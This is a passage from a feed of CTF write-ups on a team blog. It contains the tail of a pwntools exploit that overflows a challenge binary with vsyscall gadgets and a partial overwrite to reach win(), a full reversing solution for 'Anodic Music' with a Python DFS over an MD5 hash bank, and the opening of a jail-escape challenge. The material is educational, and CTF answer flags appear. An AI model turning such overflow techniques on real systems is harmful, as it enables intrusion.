</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> time <span style="color:#fc5fa3">import</span> sleep
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exe = ELF(<span style="color:#fc6a5d">&#34;./chall&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context.binary = exe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>REMOTE_NC_CMD    = <span style="color:#fc6a5d">&#34;nc localhost 7011&#34;</span>    <span style="color:#6c7986"># `nc &lt;host&gt; &lt;port&gt;`</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bstr = <span style="color:#fc5fa3">lambda</span> x: <span style="color:#d0a8ff">str</span>(x).encode()
</span></span><span style="display:flex;"><span>ELF.binsh = <span style="color:#fc5fa3">lambda</span> <span style="color:#a167e6">self</span>: <span style="color:#d0a8ff">next</span>(<span style="color:#a167e6">self</span>.search(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;/bin/sh</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>GDB_SCRIPT = <span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">set follow-fork-mode parent
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">set follow-exec-mode same
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">conn</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.LOCAL:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> process([exe.path])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> args.GDB:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> gdb.debug([exe.path], gdbscript=GDB_SCRIPT)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> remote(REMOTE_NC_CMD.split()[<span style="color:#d0bf69">1</span>], <span style="color:#d0a8ff">int</span>(REMOTE_NC_CMD.split()[<span style="color:#d0bf69">2</span>]))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    r = conn()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    VSYSCALL = <span style="color:#d0bf69">0xffffffffff600000</span> <span style="color:#6c7986">#effectively a ret gadget</span>
</span></span><span style="display:flex;"><span>    r.send(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;A&#34;</span>*<span style="color:#d0bf69">0x28</span> + p64(VSYSCALL)*<span style="color:#d0bf69">2</span> + <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\xa9</span><span style="color:#fc6a5d">&#34;</span>); <span style="color:#6c7986">#lsb of win()</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.interactive()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h2 id="flag">Flag</h2>
<p><code>TRX{1_h0p3_y0u_d1dn7_bru73f0rc3_dc85efe0}</code></p>
]]></content></item><item><title>Srdnlen CTF 2025 - Anodic Music</title><link>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-anodic-music/</link><pubDate>Sun, 19 Jan 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-anodic-music/</guid><description>&lt;p>As always we can start by decompiling the main function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#fc5fa3">__fastcall&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>(&lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **argv, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **envp)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">char&lt;/span> *dialogue; &lt;span style="color:#6c7986">// rax
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span> i; &lt;span style="color:#6c7986">// [rsp+Ch] [rbp-64h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">void&lt;/span> *v6; &lt;span style="color:#6c7986">// [rsp+10h] [rbp-60h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> s_bank *bank; &lt;span style="color:#6c7986">// [rsp+18h] [rbp-58h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> input[&lt;span style="color:#d0bf69">68&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+20h] [rbp-50h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> canary; &lt;span style="color:#6c7986">// [rsp+68h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> canary = &lt;span style="color:#41a1c0">__readfsqword&lt;/span>(&lt;span style="color:#d0bf69">0x28u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">memset&lt;/span>(input, &lt;span style="color:#d0bf69">0&lt;/span>, &lt;span style="color:#d0bf69">62&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v6 = &lt;span style="color:#41a1c0">malloc&lt;/span>(&lt;span style="color:#d0bf69">0x10uLL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bank = &lt;span style="color:#41a1c0">load_bank&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">setbuf&lt;/span>(_bss_start, &lt;span style="color:#d0bf69">0LL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">setbuf&lt;/span>(stdin, &lt;span style="color:#d0bf69">0LL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">for&lt;/span> ( i = &lt;span style="color:#d0bf69">0&lt;/span>; i &amp;lt;= &lt;span style="color:#d0bf69">61&lt;/span>; ++i )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dialogue = &lt;span style="color:#41a1c0">get_dialogue&lt;/span>();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;%s&amp;#34;&lt;/span>, dialogue);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> input[i] = &lt;span style="color:#41a1c0">getc&lt;/span>(stdin);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">getc&lt;/span>(stdin);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">md5String&lt;/span>(input, v6);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">__int8&lt;/span>)&lt;span style="color:#41a1c0">lookup_bank&lt;/span>(v6, bank) )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">puts&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;There has to be some way to talk to this person, you just haven&amp;#39;t found it yet.&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> -&lt;span style="color:#d0bf69">1&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">printf&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Hey it looks like you have input the right flag. Why are you still here?&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We can now analyze the following not known functions, starting from &lt;code>load_bank&lt;/code>:&lt;/p></description><content type="html"><![CDATA[<p>As always we can start by decompiling the main function:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">char</span> *dialogue; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">int</span> i; <span style="color:#6c7986">// [rsp+Ch] [rbp-64h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">void</span> *v6; <span style="color:#6c7986">// [rsp+10h] [rbp-60h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  s_bank *bank; <span style="color:#6c7986">// [rsp+18h] [rbp-58h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> input[<span style="color:#d0bf69">68</span>]; <span style="color:#6c7986">// [rsp+20h] [rbp-50h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> canary; <span style="color:#6c7986">// [rsp+68h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  canary = <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">memset</span>(input, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">62</span>);
</span></span><span style="display:flex;"><span>  v6 = <span style="color:#41a1c0">malloc</span>(<span style="color:#d0bf69">0x10uLL</span>);
</span></span><span style="display:flex;"><span>  bank = <span style="color:#41a1c0">load_bank</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">setbuf</span>(_bss_start, <span style="color:#d0bf69">0LL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">setbuf</span>(stdin, <span style="color:#d0bf69">0LL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; i &lt;= <span style="color:#d0bf69">61</span>; ++i )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    dialogue = <span style="color:#41a1c0">get_dialogue</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;%s&#34;</span>, dialogue);
</span></span><span style="display:flex;"><span>    input[i] = <span style="color:#41a1c0">getc</span>(stdin);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">getc</span>(stdin);
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">md5String</span>(input, v6);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int8</span>)<span style="color:#41a1c0">lookup_bank</span>(v6, bank) )
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;There has to be some way to talk to this person, you just haven&#39;t found it yet.&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> -<span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;Hey it looks like you have input the right flag. Why are you still here?&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We can now analyze the following not known functions, starting from <code>load_bank</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>_QWORD *<span style="color:#41a1c0">load_bank</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  _QWORD *result; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  FILE *stream; <span style="color:#6c7986">// [rsp+0h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> size; <span style="color:#6c7986">// [rsp+8h] [rbp-18h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">void</span> *bank; <span style="color:#6c7986">// [rsp+10h] [rbp-10h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  stream = <span style="color:#41a1c0">fopen</span>(<span style="color:#fc6a5d">&#34;hardcore.bnk&#34;</span>, <span style="color:#fc6a5d">&#34;rb&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">fseek</span>(stream, SEEK_SET, SEEK_END);
</span></span><span style="display:flex;"><span>  size = <span style="color:#41a1c0">ftell</span>(stream);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">rewind</span>(stream);
</span></span><span style="display:flex;"><span>  bank = <span style="color:#41a1c0">malloc</span>(size);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">fread</span>(bank, size, <span style="color:#d0bf69">1uLL</span>, stream);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">fclose</span>(stream);
</span></span><span style="display:flex;"><span>  result = <span style="color:#41a1c0">malloc</span>(<span style="color:#d0bf69">0x10uLL</span>);
</span></span><span style="display:flex;"><span>  *result = size;
</span></span><span style="display:flex;"><span>  result[<span style="color:#d0bf69">1</span>] = bank;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As we can see, it is loading the other file that was given to us and loading is what it seems a struct that we can define as:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">struct</span> s_bank <span style="color:#6c7986">// sizeof=0x10
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>{
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">__int64</span> size;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">char</span> *bank;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>Now we can continue by looking into <code>get_dialogue</code>, which is pretty useless:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">char</span> *<span style="color:#41a1c0">get_dialogue</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">char</span> ptr; <span style="color:#6c7986">// [rsp+Fh] [rbp-11h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  FILE *stream; <span style="color:#6c7986">// [rsp+10h] [rbp-10h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v3; <span style="color:#6c7986">// [rsp+18h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v3 = <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  stream = <span style="color:#41a1c0">fopen</span>(<span style="color:#fc6a5d">&#34;/dev/urandom&#34;</span>, <span style="color:#fc6a5d">&#34;rb&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">fread</span>(&amp;ptr, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">1uLL</span>, stream);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> (&amp;dialogue)[ptr &amp; <span style="color:#d0bf69">0xF</span>];
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Then we have <code>md5String</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">md5String</span>(<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> *input, <span style="color:#fc5fa3">char</span> *out)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">size_t</span> size; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v3; <span style="color:#6c7986">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  MD5Context ctx; <span style="color:#6c7986">// [rsp+10h] [rbp-70h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> canary; <span style="color:#6c7986">// [rsp+78h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  canary = <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">md5Init</span>((<span style="color:#fc5fa3">__int64</span>)&amp;ctx);
</span></span><span style="display:flex;"><span>  size = <span style="color:#41a1c0">strlen</span>(input);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">md5Update</span>(&amp;ctx, input, size);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">md5Finalize</span>(&amp;ctx);
</span></span><span style="display:flex;"><span>  v3 = *(_QWORD *)&amp;ctx.digest[<span style="color:#d0bf69">8</span>];
</span></span><span style="display:flex;"><span>  *(_QWORD *)out = *(_QWORD *)ctx.digest;
</span></span><span style="display:flex;"><span>  *((_QWORD *)out + <span style="color:#d0bf69">1</span>) = v3;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> canary - <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Which is doing an md5sum with a library like <a href="https://github.com/Zunawe/md5-c">https://github.com/Zunawe/md5-c</a>, where we can extract the context type for better reversing:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">struct</span> MD5Context <span style="color:#6c7986">// sizeof=0x68
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>{                                       <span style="color:#6c7986">// XREF: md5String/r
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    <span style="color:#fc5fa3">uint64_t</span> size;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">uint32_t</span> buffer[<span style="color:#d0bf69">4</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">uint8_t</span> input[<span style="color:#d0bf69">64</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">uint8_t</span> digest[<span style="color:#d0bf69">16</span>];                 <span style="color:#6c7986">// XREF: md5String+5D/r
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>                                        <span style="color:#6c7986">// md5String+61/r
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>};
</span></span></code></pre></div><p>And lastly we have <code>lookup_bank</code> which is checking if the hash is into the given bank of hashes</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">lookup_bank</span>(<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">void</span> *a1, s_bank *a2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">__int64</span> i; <span style="color:#6c7986">// [rsp+18h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0LL</span>; i &lt; a2-&gt;size / <span style="color:#d0bf69">16</span>; ++i )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( !<span style="color:#41a1c0">memcmp</span>(a1, &amp;a2-&gt;bank[<span style="color:#d0bf69">16</span> * i], <span style="color:#d0bf69">0x10uLL</span>) )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1LL</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>So, after reversing all the functions we can say that the main, after loading the bank into memory, i doing the hash of the current char that is read from the user and checking if into the bank, so we can think of try manualy some characters knowing that the flag format is <code>srdnlen{</code>, but after some tries we can see that also other characters are valid (like <em>t</em> is valid, but the first char should be <em>s</em>), so we are analyzing a <strong>trie</strong> like data structure that we can explore with a <strong>dfs</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> string <span style="color:#fc5fa3">import</span> printable
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> hashlib <span style="color:#fc5fa3">import</span> md5
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> <span style="color:#d0a8ff">open</span>(<span style="color:#fc6a5d">&#39;hardcore.bnk&#39;</span>, <span style="color:#fc6a5d">&#39;rb&#39;</span>) <span style="color:#fc5fa3">as</span> f:
</span></span><span style="display:flex;"><span>	data = f.read()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>hashes = [data[i*<span style="color:#d0bf69">16</span>:(i+<span style="color:#d0bf69">1</span>)*<span style="color:#d0bf69">16</span>] <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(data)//<span style="color:#d0bf69">16</span>)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">&#39;srdnlen{&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">dfs</span>(flag):
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(flag) == <span style="color:#d0bf69">63</span>:
</span></span><span style="display:flex;"><span>		exit(<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> c in printable[:-<span style="color:#d0bf69">6</span>]:
</span></span><span style="display:flex;"><span>		tmp = flag + c
</span></span><span style="display:flex;"><span>		digest = md5(tmp.encode()).digest()
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> digest not in hashes:
</span></span><span style="display:flex;"><span>			<span style="color:#d0a8ff">print</span>(tmp)
</span></span><span style="display:flex;"><span>			dfs(tmp)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>dfs(flag)
</span></span></code></pre></div><p>After running the whole script we get the flag: <code>srdnlen{Mr_Evrart_is_helping_me_find_my_flag_af04993a13b8eecd}</code></p>
]]></content></item><item><title>Srdnlen CTF 2025 - Another Impossible Escape</title><link>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-another-impossible-escape/</link><pubDate>Sun, 19 Jan 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-another-impossible-escape/</guid><description>&lt;h2 id="challenge">Challenge&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> sys
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> re
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BANNER = &lt;span style="color:#fc6a5d">r&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d">############################################################
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># _ _ _ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># / \ _ __ ___ | |_| |__ ___ _ __ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># / _ \ | &amp;#39;_ \ / _ \| __| &amp;#39;_ \ / _ \ &amp;#39;__| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># / ___ \| | | | (_) | |_| | | | __/ | #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># /_/ \_\_| |_|\___/ \__|_| |_|\___|_| #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># ___ _ _ _ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># |_ _|_ __ ___ _ __ ___ ___ ___(_) |__ | | ___ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># | || &amp;#39;_ ` _ \| &amp;#39;_ \ / _ \/ __/ __| | &amp;#39;_ \| |/ _ \ #
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"># | || | | | | | |_) | (_) \__ \__ \ | |_) | | __/ #
